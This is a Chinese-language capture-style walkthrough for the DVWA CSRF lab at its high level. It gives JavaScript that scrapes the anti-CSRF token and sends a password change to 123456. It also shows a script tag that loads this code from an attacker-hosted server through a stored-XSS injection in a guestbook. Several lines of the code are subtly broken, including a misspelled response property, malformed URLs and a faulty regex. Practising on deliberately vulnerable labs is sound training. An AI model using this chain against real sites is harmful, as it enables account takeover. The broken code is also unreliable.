(1)访问CSRF页面,在页面的源代码中可以看到生成的Token
<form action="#" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='9eed4c773cd578ed263facc427c1fb78' />
</form>
(2)再次访问CSRF页面Token值发生了变化,可以确定DVWA生成Token的机制是每次不一样/
(3)过关的核心在于要发送请求给
http://192.168.112.188/dvwa/vulnerabilities/csrf/
页面,然后从相应中取得Token(通过正则表达式提取)取得后在将Token和新密发一起发送给
http:192.168.112.188/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
页面完成密码修改
(4)先构造一个Javascript原生代码发送AJAX请求的代码
var tokenUrl='http://192.168.112.188/dvwa/vulnerabilities/csrf/';
var count = 0;
//实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
//当请求状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function(){
//状态码0:请求未初始化,1:服务器连接已建立,2请求已接收,3请求处理中,4请求已完成,且相应已就绪
if(xmlhttp.readyState == 4&&xmlhttp.status == 200)
{
//取得请求的响应,并从响应中通过正则提取Token
var text = xmlhttp.responesText;
var regex = /user_token\'value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
//alert(match[1]);
var token = match[1];
//发送修改密码的语法
var changeUrl='http:192.168.112.188/dvwa/vulnerabilities/csrf/?user_token='+token+'& password_new=123456&password_conf=123456&Change=Change';
if(count == 0){
count = 1; //只发送一次,否则会多次发送
xmlhttp.open("GET",changeUrl,false); //false代表同步方式发送
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
将上述代码放置在攻击服务器上
想办法将上述JS代码嵌入到被攻击者服务器上即可完成。(High级别无法实现)
<script src="http://192.168.112.183/csrf.js"></script>
在high级别中,屏蔽了<script>标签,所以无法直接利用。
处理方式:先切换到Low级,在留言本里注入以下脚本,然后在切换到High级,直接触发改密
<script src="http://192.168.112.183/csrf.js"></script>
扫描二维码关注公众号,回复:
17076234 查看本文章